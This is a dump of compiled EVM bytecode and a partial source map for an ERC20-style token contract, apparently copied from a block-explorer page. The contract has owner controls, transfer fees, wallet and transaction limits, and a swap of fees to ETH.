801561039657600080fd5b506103aa6103a536600461155c565b6107b9565b6040805192835260208301919091520161022b565b3480156103cb57600080fd5b50600a5460405160ff909116815260200161022b565b3480156103ed57600080fd5b506102546103fc3660046114b9565b61085a565b34801561040d57600080fd5b50610284600e5481565b34801561042357600080fd5b506019546102b2906001600160a01b031681565b34801561044357600080fd5b5060195461025490600160a81b900460ff1681565b34801561046457600080fd5b50610284600f5481565b34801561047a57600080fd5b50610284610890565b34801561048f57600080fd5b50610284601a5481565b3480156104a557600080fd5b506102846104b43660046114fe565b6001600160a01b031660009081526001602052604090205490565b3480156104db57600080fd5b506104e46108c4565b005b3480156104f257600080fd5b5061028460135481565b34801561050857600080fd5b5061028460155481565b34801561051e57600080fd5b506000546001600160a01b03166102b2565b34801561053c57600080fd5b5061021e61096d565b34801561055157600080fd5b506102546105603660046114fe565b60056020526000908152604090205460ff1681565b34801561058157600080fd5b506102546105903660046114b9565b61097c565b3480156105a157600080fd5b506102546105b03660046114b9565b6109cb565b3480156105c157600080fd5b50610284600b5481565b3480156105d757600080fd5b5061021e6109d8565b3480156105ec57600080fd5b5061021e610a66565b34801561060157600080fd5b5061028461061036600461158c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561064757600080fd5b506102546106563660046114fe565b60046020526000908152604090205460ff1681565b34801561067757600080fd5b506104e46106863660046114fe565b610a73565b60606008805461069a906115ba565b80601f01602080910402602001604051908101604052809291908181526020018280546106c6906115ba565b80156107135780601f106106e857610100808354040283529160200191610713565b820191906000526020600020905b8154815290600101906020018083116106f657829003601f168201915b5050505050905090565b600061072a338484610ba5565b5060015b92915050565b6000808211610744576001610747565b60625b60ff1692915050565b600061075d848484610c66565b6107af84336107aa8560405180606001604052806028815260200161175d602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061105a565b610ba5565b5060019392505050565b6000806000610840606461083a6107d06000610734565b601a541061082f576001600160a01b03871660009081526005602052604090205460ff16610827576001600160a01b03871660009081526003602052604090205460ff16610827576108226001610734565b610833565b600d54610833565b600d545b8890610b8d565b90610b99565b9050600061084e8683611086565b96919550909350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161072a9185906107aa9086611092565b6000600a601e60015b81156108bd576108a9838261160a565b9050816108b581611621565b925050610899565b9392505050565b6000546001600160a01b031633146109235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606009805461069a906115ba565b600061072a33846107aa85604051806060016040528060258152602001611785602591393360009081526002602090815260408083206001600160a01b038d168452909152902054919061105a565b600061072a338484610c66565b600980546109e5906115ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610a11906115ba565b8015610a5e5780601f10610a3357610100808354040283529160200191610a5e565b820191906000526020600020905b815481529060010190602001808311610a4157829003601f168201915b505050505081565b600880546109e5906115ba565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161091a565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161091a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006108bd828461160a565b60006108bd8284611638565b6001600160a01b03831615801590610bc557506001600160a01b03821615155b610c055760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161091a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610c9257506006546001600160a01b03838116911614155b8015610ca757506001600160a01b0382163014155b8015610cc157506019546001600160a01b03838116911614155b8015610cdb57506007546001600160a01b03838116911614155b8015610d0057506001600160a01b03821660009081526005602052604090205460ff16155b8015610d1a57506000546001600160a01b03848116911614155b15610dd5576001600160a01b038216600090815260016020526040902054601354610d45838361165a565b1115610dd35760405162461bcd60e51b815260206004820152605160248201527f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460448201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d696064820152703a103337b91037b732903bb0b63632ba1760791b608482015260a40161091a565b505b6001600160a01b03831660009081526005602052604081205460ff1680610e1457506001600160a01b03831660009081526005602052604090205460ff165b9050610e286000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610e5757506000546001600160a01b03848116911614155b8015610e61575080155b15610ede57601554821115610ede5760405162461bcd60e51b815260206004820152603a60248201527f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060448201527f746865206d6178207472616e73616374696f6e206c696d69742e000000000000606482015260840161091a565b600c5460ff61010082048116911610801590610f045750601954600160a01b900460ff16155b8015610f1e57506019546001600160a01b03858116911614155b8015610f335750601954600160a81b900460ff165b15610f7257600c805460ff1916905530600090815260016020526040902054601554811115610f6157506015545b8015610f7057610f708161109e565b505b6001600160a01b03841660009081526004602052604090205460019060ff1680610fb457506001600160a01b03841660009081526004602052604090205460ff165b1561100957506001600160a01b03831660009081526005602052604081205460ff161561100457610fe56000610734565b601a54101561100457601a8054906000610ffe8361166d565b91905055505b611047565b6019546001600160a01b039081169086160361102a57600e54600d55611047565b6019546001600160a01b039081169085160361104757600f54600d555b611053858585846110e3565b5050505050565b6000818484111561107e5760405162461bcd60e51b815260040161091a9190611453565b505050900390565b60006108bd8284611686565b60006108bd828461165a565b6019805460ff60a01b1916600160a01b1790556110ba8161114f565b60065447906110d2906001600160a01b0316826112a9565b50506019805460ff60a01b19169055565b806110f5576110f06112e4565b611122565b600c805460ff1690600061110883611699565b91906101000a81548160ff021916908360ff160217905550505b61112d848484611329565b8061114957611149601054600d55601154600e55601254600f55565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611184576111846116b8565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120191906116ce565b81600181518110611214576112146116b8565b6001600160a01b03928316602091820292909201015260185461123a9130911684610ba5565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac947906112739085906000908690309042906004016116eb565b600060405180830381600087803b15801561128d57600080fd5b505af11580156112a1573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156112df573d6000803e3d6000fd5b505050565b600d541580156112f45750600e54155b80156113005750600f54155b1561130757565b600e8054601155600f8054601255600d80546010556000928390559082905555565b60008061133683866107b9565b6001600160a01b0386166000908152600560205260408120549294509092509060ff16611364576000611368565b6017545b6001600160a01b03871660009081526001602052604090205490915061138e9085611086565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546113c99082906113c39086611092565b90611092565b6001600160a01b0386166000908152600160205260408082209290925530815220546113f59083611092565b3060009081526001602090815260409182902092909255518481526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600060208083528351808285015260005b8181101561148057858101830151858201604001528201611464565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114b657600080fd5b50565b600080604083850312156114cc57600080fd5b82356114d7816114a1565b946020939093013593505050565b6000602082840312156114f757600080fd5b5035919050565b60006020828403121561151057600080fd5b81356108bd816114a1565b60008060006060848603121561153057600080fd5b833561153b816114a1565b9250602084013561154b816114a1565b929592945050506040919091013590565b6000806040838503121561156f57600080fd5b823591506020830135611581816114a1565b809150509250929050565b6000806040838503121561159f57600080fd5b82356115aa816114a1565b91506020830135611581816114a1565b600181811c908216806115ce57607f821691505b6020821081036115ee57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761072e5761072e6115f4565b600081611630576116306115f4565b506000190190565b60008261165557634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561072e5761072e6115f4565b60006001820161167f5761167f6115f4565b5060010190565b8181038181111561072e5761072e6115f4565b600060ff821660ff81036116af576116af6115f4565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156116e057600080fd5b81516108bd816114a1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561173b5784516001600160a01b031683529383019391830191600101611716565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206fec04ddee8b9b262fe0ff4e3cd28729c79c11d1d1b54e156cee665ac826ea4c64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101fd5760003560e01c80636cbce32f1161010d578063a3b3bc07116100a0578063b09f12661161006f578063b09f1266146105cb578063d28d8852146105e0578063dd62ed3e146105f5578063f1d6512e1461063b578063f2fde38b1461066b57600080fd5b8063a3b3bc0714610545578063a457c2d714610575578063a9059cbb14610595578063af465a27146105b557600080fd5b806378109e54116100dc57806378109e54146104e65780637d1db4a5146104fc5780638da5cb5b1461051257806395d89b411461053057600080fd5b80636cbce32f1461046e5780636cd218041461048357806370a0823114610499578063715018a6146104cf57600080fd5b8063220f669611610190578063395093511161015f57806339509351146103e157806340b9a54b1461040157806349bd5a5e146104175780634a74bb0214610437578063590f897e1461045857600080fd5b8063220f66961461034957806323b872dd1461036a57806325ecdcfc1461038a578063313ce567146103bf57600080fd5b806313fad07a116101cc57806313fad07a146102ca5780631694505e146102e457806318160ddd146103045780631c7b1c971461031957600080fd5b806306fdde0314610209578063095ea7b31461023457806309a32210146102645780630fb5cee61461029257600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061021e61068b565b60405161022b9190611453565b60405180910390f35b34801561024057600080fd5b5061025461024f3660046114b9565b61071d565b604051901515815260200161022b565b34801561027057600080fd5b5061028461027f3660046114e5565b610734565b60405190815260200161022b565b34801561029e57600080fd5b506007546102b2906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b3480156102d657600080fd5b50601b546102549060ff1681565b3480156102f057600080fd5b506018546102b2906001600160a01b031681565b34801561031057600080fd5b50600b54610284565b34801561032557600080fd5b506102546103343660046114fe565b60036020526000908152604090205460ff1681565b34801561035557600080fd5b5060195461025490600160a01b900460ff1681565b34801561037657600080fd5b5061025461038536600461151b565b610750565b34801561039657600080fd5b506103aa6103a536600461155c565b6107b9565b6040805192835260208301919091520161022b565b3480156103cb57600080fd5b50600a5460405160ff909116815260200161022b565b3480156103ed57600080fd5b506102546103fc3660046114b9565b61085a565b34801561040d57600080fd5b50610284600e5481565b34801561042357600080fd5b506019546102b2906001600160a01b031681565b34801561044357600080fd5b5060195461025490600160a81b900460ff1681565b34801561046457600080fd5b50610284600f5481565b34801561047a57600080fd5b50610284610890565b34801561048f57600080fd5b50610284601a5481565b3480156104a557600080fd5b506102846104b43660046114fe565b6001600160a01b031660009081526001602052604090205490565b3480156104db57600080fd5b506104e46108c4565b005b3480156104f257600080fd5b5061028460135481565b34801561050857600080fd5b5061028460155481565b34801561051e57600080fd5b506000546001600160a01b03166102b2565b34801561053c57600080fd5b5061021e61096d565b34801561055157600080fd5b506102546105603660046114fe565b60056020526000908152604090205460ff1681565b34801561058157600080fd5b506102546105903660046114b9565b61097c565b3480156105a157600080fd5b506102546105b03660046114b9565b6109cb565b3480156105c157600080fd5b50610284600b5481565b3480156105d757600080fd5b5061021e6109d8565b3480156105ec57600080fd5b5061021e610a66565b34801561060157600080fd5b5061028461061036600461158c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561064757600080fd5b506102546106563660046114fe565b60046020526000908152604090205460ff1681565b34801561067757600080fd5b506104e46106863660046114fe565b610a73565b60606008805461069a906115ba565b80601f01602080910402602001604051908101604052809291908181526020018280546106c6906115ba565b80156107135780601f106106e857610100808354040283529160200191610713565b820191906000526020600020905b8154815290600101906020018083116106f657829003601f168201915b5050505050905090565b600061072a338484610ba5565b5060015b92915050565b6000808211610744576001610747565b60625b60ff1692915050565b600061075d848484610c66565b6107af84336107aa8560405180606001604052806028815260200161175d602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061105a565b610ba5565b5060019392505050565b6000806000610840606461083a6107d06000610734565b601a541061082f576001600160a01b03871660009081526005602052604090205460ff16610827576001600160a01b03871660009081526003602052604090205460ff16610827576108226001610734565b610833565b600d54610833565b600d545b8890610b8d565b90610b99565b9050600061084e8683611086565b96919550909350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161072a9185906107aa9086611092565b6000600a601e60015b81156108bd576108a9838261160a565b9050816108b581611621565b925050610899565b9392505050565b6000546001600160a01b031633146109235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606009805461069a906115ba565b600061072a33846107aa85604051806060016040528060258152602001611785602591393360009081526002602090815260408083206001600160a01b038d168452909152902054919061105a565b600061072a338484610c66565b600980546109e5906115ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610a11906115ba565b8015610a5e5780601f10610a3357610100808354040283529160200191610a5e565b820191906000526020600020905b815481529060010190602001808311610a4157829003601f168201915b505050505081565b600880546109e5906115ba565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161091a565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161091a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006108bd828461160a565b60006108bd8284611638565b6001600160a01b03831615801590610bc557506001600160a01b03821615155b610c055760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161091a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610c9257506006546001600160a01b03838116911614155b8015610ca757506001600160a01b0382163014155b8015610cc157506019546001600160a01b03838116911614155b8015610cdb57506007546001600160a01b03838116911614155b8015610d0057506001600160a01b03821660009081526005602052604090205460ff16155b8015610d1a57506000546001600160a01b03848116911614155b15610dd5576001600160a01b038216600090815260016020526040902054601354610d45838361165a565b1115610dd35760405162461bcd60e51b815260206004820152605160248201527f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460448201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d696064820152703a103337b91037b732903bb0b63632ba1760791b608482015260a40161091a565b505b6001600160a01b03831660009081526005602052604081205460ff1680610e1457506001600160a01b03831660009081526005602052604090205460ff165b9050610e286000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610e5757506000546001600160a01b03848116911614155b8015610e61575080155b15610ede57601554821115610ede5760405162461bcd60e51b815260206004820152603a60248201527f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060448201527f746865206d6178207472616e73616374696f6e206c696d69742e000000000000606482015260840161091a565b600c5460ff61010082048116911610801590610f045750601954600160a01b900460ff16155b8015610f1e57506019546001600160a01b03858116911614155b8015610f335750601954600160a81b900460ff165b15610f7257600c805460ff1916905530600090815260016020526040902054601554811115610f6157506015545b8015610f7057610f708161109e565b505b6001600160a01b03841660009081526004602052604090205460019060ff1680610fb457506001600160a01b03841660009081526004602052604090205460ff165b1561100957506001600160a01b03831660009081526005602052604081205460ff161561100457610fe56000610734565b601a54101561100457601a8054906000610ffe8361166d565b91905055505b611047565b6019546001600160a01b039081169086160361102a57600e54600d55611047565b6019546001600160a01b039081169085160361104757600f54600d555b611053858585846110e3565b5050505050565b6000818484111561107e5760405162461bcd60e51b815260040161091a9190611453565b505050900390565b60006108bd8284611686565b60006108bd828461165a565b6019805460ff60a01b1916600160a01b1790556110ba8161114f565b60065447906110d2906001600160a01b0316826112a9565b50506019805460ff60a01b19169055565b806110f5576110f06112e4565b611122565b600c805460ff1690600061110883611699565b91906101000a81548160ff021916908360ff160217905550505b61112d848484611329565b8061114957611149601054600d55601154600e55601254600f55565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611184576111846116b8565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120191906116ce565b81600181518110611214576112146116b8565b6001600160a01b03928316602091820292909201015260185461123a9130911684610ba5565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac947906112739085906000908690309042906004016116eb565b600060405180830381600087803b15801561128d57600080fd5b505af11580156112a1573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156112df573d6000803e3d6000fd5b505050565b600d541580156112f45750600e54155b80156113005750600f54155b1561130757565b600e8054601155600f8054601255600d80546010556000928390559082905555565b60008061133683866107b9565b6001600160a01b0386166000908152600560205260408120549294509092509060ff16611364576000611368565b6017545b6001600160a01b03871660009081526001602052604090205490915061138e9085611086565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546113c99082906113c39086611092565b90611092565b6001600160a01b0386166000908152600160205260408082209290925530815220546113f59083611092565b3060009081526001602090815260409182902092909255518481526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600060208083528351808285015260005b8181101561148057858101830151858201604001528201611464565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114b657600080fd5b50565b600080604083850312156114cc57600080fd5b82356114d7816114a1565b946020939093013593505050565b6000602082840312156114f757600080fd5b5035919050565b60006020828403121561151057600080fd5b81356108bd816114a1565b60008060006060848603121561153057600080fd5b833561153b816114a1565b9250602084013561154b816114a1565b929592945050506040919091013590565b6000806040838503121561156f57600080fd5b823591506020830135611581816114a1565b809150509250929050565b6000806040838503121561159f57600080fd5b82356115aa816114a1565b91506020830135611581816114a1565b600181811c908216806115ce57607f821691505b6020821081036115ee57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761072e5761072e6115f4565b600081611630576116306115f4565b506000190190565b60008261165557634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561072e5761072e6115f4565b60006001820161167f5761167f6115f4565b5060010190565b8181038181111561072e5761072e6115f4565b600060ff821660ff81036116af576116af6115f4565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156116e057600080fd5b81516108bd816114a1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561173b5784516001600160a01b031683529383019391830191600101611716565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206fec04ddee8b9b262fe0ff4e3cd28729c79c11d1d1b54e156cee665ac826ea4c64736f6c63430008120033

Deployed Bytecode Sourcemap

15186:9368:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17793:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18625:161;;;;;;;;;;-1:-1:-1;18625:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;18625:161:0;1023:187:1;23110:117:0;;;;;;;;;;-1:-1:-1;23110:117:0;;;;;:::i;:::-;;:::i;:::-;;;1546:25:1;;;1534:2;1519:18;23110:117:0;1400:177:1;15702:89:0;;;;;;;;;;-1:-1:-1;15702:89:0;;;;-1:-1:-1;;;;;15702:89:0;;;;;;-1:-1:-1;;;;;1762:32:1;;;1744:51;;1732:2;1717:18;15702:89:0;1582:219:1;19656:35:0;;;;;;;;;;-1:-1:-1;19656:35:0;;;;;;;;16588:41;;;;;;;;;;-1:-1:-1;16588:41:0;;;;-1:-1:-1;;;;;16588:41:0;;;18070:95;;;;;;;;;;-1:-1:-1;18150:7:0;;18070:95;;15435:44;;;;;;;;;;-1:-1:-1;15435:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16671:28;;;;;;;;;;-1:-1:-1;16671:28:0;;;;-1:-1:-1;;;16671:28:0;;;;;;18794:313;;;;;;;;;;-1:-1:-1;18794:313:0;;;;;:::i;:::-;;:::i;24151:400::-;;;;;;;;;;-1:-1:-1;24151:400:0;;;;;:::i;:::-;;:::i;:::-;;;;3248:25:1;;;3304:2;3289:18;;3282:34;;;;3221:18;24151:400:0;3074:248:1;17979:83:0;;;;;;;;;;-1:-1:-1;18045:9:0;;17979:83;;18045:9;;;;3469:36:1;;3457:2;3442:18;17979:83:0;3327:184:1;19115:218:0;;;;;;;;;;-1:-1:-1;19115:218:0;;;;;:::i;:::-;;:::i;16079:26::-;;;;;;;;;;;;;;;;16636:28;;;;;;;;;;-1:-1:-1;16636:28:0;;;;-1:-1:-1;;;;;16636:28:0;;;16706:40;;;;;;;;;;-1:-1:-1;16706:40:0;;;;-1:-1:-1;;;16706:40:0;;;;;;16112:27;;;;;;;;;;;;;;;;6739:242;;;;;;;;;;;;;:::i;16753:29::-;;;;;;;;;;;;;;;;18173:118;;;;;;;;;;-1:-1:-1;18173:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;18266:17:0;18239:7;18266:17;;;:8;:17;;;;;;;18173:118;6583:148;;;;;;;;;;;;;:::i;:::-;;16303:57;;;;;;;;;;;;;;;;16433:54;;;;;;;;;;;;;;;;6360:87;;;;;;;;;;-1:-1:-1;6406:7:0;6433:6;-1:-1:-1;;;;;6433:6:0;6360:87;;17884;;;;;;;;;;;;;:::i;15541:50::-;;;;;;;;;;-1:-1:-1;15541:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19341:269;;;;;;;;;;-1:-1:-1;19341:269:0;;;;;:::i;:::-;;:::i;18299:167::-;;;;;;;;;;-1:-1:-1;18299:167:0;;;;;:::i;:::-;;:::i;15913:49::-;;;;;;;;;;;;;;;;15840:31;;;;;;;;;;;;;:::i;15801:32::-;;;;;;;;;;;;;:::i;18474:143::-;;;;;;;;;;-1:-1:-1;18474:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;18582:18:0;;;18555:7;18582:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;18474:143;15486:48;;;;;;;;;;-1:-1:-1;15486:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7125:244;;;;;;;;;;-1:-1:-1;7125:244:0;;;;;:::i;:::-;;:::i;17793:83::-;17830:13;17863:5;17856:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17793:83;:::o;18625:161::-;18700:4;18717:39;2589:10;18740:7;18749:6;18717:8;:39::i;:::-;-1:-1:-1;18774:4:0;18625:161;;;;;:::o;23110:117::-;23174:7;23209:1;23200:6;:10;:19;;23218:1;23200:19;;;23213:2;23200:19;23193:26;;;23110:117;-1:-1:-1;;23110:117:0:o;18794:313::-;18892:4;18909:36;18919:6;18927:9;18938:6;18909:9;:36::i;:::-;18956:121;18965:6;2589:10;18987:89;19025:6;18987:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18987:19:0;;;;;;:11;:19;;;;;;;;2589:10;18987:33;;;;;;;;;;:37;:89::i;:::-;18956:8;:121::i;:::-;-1:-1:-1;19095:4:0;18794:313;;;;;:::o;24151:400::-;24236:7;24245;24265:20;24288:146;24430:3;24288:137;24313:12;24323:1;24313:9;:12::i;:::-;24300:10;;:25;:124;;-1:-1:-1;;;;;24338:25:0;;;;;;:17;:25;;;;;;;;:86;;-1:-1:-1;;;;;24378:19:0;;;;;;:11;:19;;;;;;;;:46;;24412:12;24422:1;24412:9;:12::i;:::-;24300:124;;24378:46;24400:9;;24300:124;;;24328:9;;24300:124;24288:7;;:11;:137::i;:::-;:141;;:146::i;:::-;24265:169;-1:-1:-1;24445:22:0;24470:25;:7;24265:169;24470:11;:25::i;:::-;24445:50;24530:12;;-1:-1:-1;24151:400:0;;-1:-1:-1;;;;24151:400:0:o;19115:218::-;2589:10;19203:4;19252:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;19252:34:0;;;;;;;;;;19203:4;;19220:83;;19243:7;;19252:50;;19291:10;19252:38;:50::i;6739:242::-;6783:7;7082:2;7094;6880:1;6870:81;6884:12;;6870:81;;6926:9;6932:3;6926:9;;:::i;:::-;;-1:-1:-1;6899:10:0;;;;:::i;:::-;;;6898:12;6870:81;;;6969:4;6739:242;-1:-1:-1;;;6739:242:0:o;6583:148::-;6406:7;6433:6;-1:-1:-1;;;;;6433:6:0;2589:10;6495:23;6487:68;;;;-1:-1:-1;;;6487:68:0;;5150:2:1;6487:68:0;;;5132:21:1;;;5169:18;;;5162:30;5228:34;5208:18;;;5201:62;5280:18;;6487:68:0;;;;;;;;;6690:1:::1;6674:6:::0;;6653:40:::1;::::0;-1:-1:-1;;;;;6674:6:0;;::::1;::::0;6653:40:::1;::::0;6690:1;;6653:40:::1;6721:1;6704:19:::0;;-1:-1:-1;;;;;;6704:19:0::1;::::0;;6583:148::o;17884:87::-;17923:13;17956:7;17949:14;;;;;:::i;19341:269::-;19434:4;19451:129;2589:10;19474:7;19483:96;19522:15;19483:96;;;;;;;;;;;;;;;;;2589:10;19483:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;19483:34:0;;;;;;;;;;;;:38;:96::i;18299:167::-;18377:4;18394:42;2589:10;18418:9;18429:6;18394:9;:42::i;15840:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;15801:32::-;;;;;;;:::i;7125:244::-;6406:7;6433:6;-1:-1:-1;;;;;6433:6:0;2589:10;6495:23;6487:68;;;;-1:-1:-1;;;6487:68:0;;5150:2:1;6487:68:0;;;5132:21:1;;;5169:18;;;5162:30;5228:34;5208:18;;;5201:62;5280:18;;6487:68:0;4948:356:1;6487:68:0;-1:-1:-1;;;;;7214:22:0;::::1;7206:73;;;::::0;-1:-1:-1;;;7206:73:0;;5511:2:1;7206:73:0::1;::::0;::::1;5493:21:1::0;5550:2;5530:18;;;5523:30;5589:34;5569:18;;;5562:62;-1:-1:-1;;;5640:18:1;;;5633:36;5686:19;;7206:73:0::1;5309:402:1::0;7206:73:0::1;7316:6;::::0;;7295:38:::1;::::0;-1:-1:-1;;;;;7295:38:0;;::::1;::::0;7316:6;::::1;::::0;7295:38:::1;::::0;::::1;7344:6;:17:::0;;-1:-1:-1;;;;;;7344:17:0::1;-1:-1:-1::0;;;;;7344:17:0;;;::::1;::::0;;;::::1;::::0;;7125:244::o;1824:98::-;1882:7;1909:5;1913:1;1909;:5;:::i;1934:98::-;1992:7;2019:5;2023:1;2019;:5;:::i;20173:262::-;-1:-1:-1;;;;;20266:19:0;;;;;;:44;;-1:-1:-1;;;;;;20289:21:0;;;;20266:44;20258:74;;;;-1:-1:-1;;;20258:74:0;;6140:2:1;20258:74:0;;;6122:21:1;6179:2;6159:18;;;6152:30;-1:-1:-1;;;6198:18:1;;;6191:47;6255:18;;20258:74:0;5938:341:1;20258:74:0;-1:-1:-1;;;;;20343:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20395:32;;1546:25:1;;;20395:32:0;;1519:18:1;20395:32:0;;;;;;;20173:262;;;:::o;20443:1804::-;6406:7;6433:6;-1:-1:-1;;;;;20571:13:0;;;6433:6;;20571:13;;;;:53;;-1:-1:-1;20607:17:0;;-1:-1:-1;;;;;20601:23:0;;;20607:17;;20601:23;;20571:53;:89;;;;-1:-1:-1;;;;;;20641:19:0;;20655:4;20641:19;;20571:89;:125;;;;-1:-1:-1;20683:13:0;;-1:-1:-1;;;;;20677:19:0;;;20683:13;;20677:19;;20571:125;:160;;;;-1:-1:-1;20719:12:0;;-1:-1:-1;;;;;20713:18:0;;;20719:12;;20713:18;;20571:160;:199;;;;-1:-1:-1;;;;;;20749:21:0;;;;;;:17;:21;;;;;;;;20748:22;20571:199;:231;;;;-1:-1:-1;6406:7:0;6433:6;-1:-1:-1;;;;;20787:15:0;;;6433:6;;20787:15;;20571:231;20567:435;;;-1:-1:-1;;;;;18266:17:0;;20818:18;18266:17;;;:8;:17;;;;;;20900:15;;20876:19;20889:6;18266:17;20876:19;:::i;:::-;20875:40;;20867:133;;;;-1:-1:-1;;;20867:133:0